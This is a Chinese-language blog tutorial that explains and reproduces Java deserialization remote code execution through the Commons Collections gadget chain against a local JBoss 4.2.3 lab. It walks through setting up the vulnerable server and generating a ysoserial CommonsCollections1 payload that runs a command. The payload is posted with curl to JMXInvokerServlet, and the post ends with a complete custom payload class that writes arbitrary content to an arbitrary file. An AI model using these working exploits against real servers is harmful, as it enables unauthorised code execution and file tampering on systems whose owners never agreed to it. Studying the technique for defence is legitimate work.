java objectinputstream rce漏洞的原理简单介绍与重现

java objectinputstream rce漏洞的原理简单介绍与重现

1.原理 (跟php的反序列化的对象注入很类似)

> 一些web应用会使用objectinputstream去作反序列化,接收用户输入,开发者一般会用objectinputstream去读入一个特定的对象,比如是某种javabean之类的.
> 但攻击者完全可以提供其他对象序列化之后的bytestream, 因为java的特性, 虽然这个读入的object最终会在类型转换时出现classcastexception,但这个对象事实上已经创建了,其构造函数和类构造函数都已经被调用,也就是事实上已经有了受限制的函数执行
> 那么下面就是找哪些类的构造函数,提供了执行代码的能力? 研究者们发现了如果一个应用classpath中使用了common-collections,那么就有了非常好用的ChainedTransformer和InvokerTransformer,后者甚至构造函数中直接提供了根据传入的类名和函数名反射执行之的能力!
> 这几个Transformer实现了transform函数,其中InvokerTransformer根据对象构造时提供的参数反射执行之,ChaindTransformer将几个transformer串起来线性执行.
> 那么谁来调用这些transformer? TransformedMap可以接受这些transformer作为参数, 在调用其setValue函数时,就会去执行transformer,触发代码执行.
> 那么谁又来调用这个transformedMap的setValue? 到目前为止我们只是埋好了雷,需要一个会自己踩上去的, 而且还是serializable的, 并且其实现了自定义的反序列化函数,在函数中接受传入的TransformedMap并调用了setValue
> sun.reflect.annotation.AnnotationInvocationHandler满足这些条件!
> 于是, exp就是构造一个AnnotationInvocationHandler,将含有攻击代码(runtime.exec)的transformer集合在一起作为map, 传入给handler作为参数.将此handler序列化为bytestream,直接发送给被攻击的web应用!
> 也就是说,这里common-collections库只是提供了代码执行的一个vector,就像ROP/JOP这些内存破坏漏洞利用技巧一样,但其并不是真正的漏洞.漏洞还是开发者在对外暴露的接口上自己随意使用ObjectInputStream

漏洞重现

  • 安装JAVA环境先,然后安装JBOSS
    shell
    wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
    unzip jboss-4.2.3.zip
    mv jboss-4.2.3.GA /usr/local/share/jboss
    adduser appserver
    chown -R appserver /usr/local/share/jboss
    su -l appserver
    cd /usr/local/share/jboss/bin
    ./run.sh -b 0.0.0.0
  • exploit 利用程序
    shell
    wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
    java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' > /tmp/payload
    curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 测试
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 生成文件POC
    java
    package ysoserial.payloads;
    import java.lang.reflect.InvocationHandler;
    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    @SuppressWarnings({"rawtypes", "unchecked"})
    @Dependencies({"commons-collections:commons-collections:3.1"})
    public class CommonsCollections1file extends PayloadRunner implements ObjectPayload{
    public InvocationHandler getObject(final String command) throws Exception {
    final String[] argcs = command.split("#xxoo#");
    String[] file_content=new String[]{};
    String file_path="";
    try {
    file_path = argcs[0];
    file_content = new String[] {argcs[1]};
    }catch (Exception e){
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    if (file_path.length()==0 || file_content.length==0) {
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(java.io.PrintWriter.class),
    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {
    new Class[]{String.class}}),
    new InvokerTransformer("newInstance", new Class[] {
    Object[].class}, new Object[] {new Object[]{file_path}}),
    new InvokerTransformer("append",
    new Class[] { CharSequence.class }, file_content),
    new InvokerTransformer("close",
    new Class[]{}, new Object[]{}),
    new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    return handler;
    }
    public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsCollections1file.class, args);
    }
    }
      参考

发表评论

电子邮件地址不会被公开。 必填项已用*标注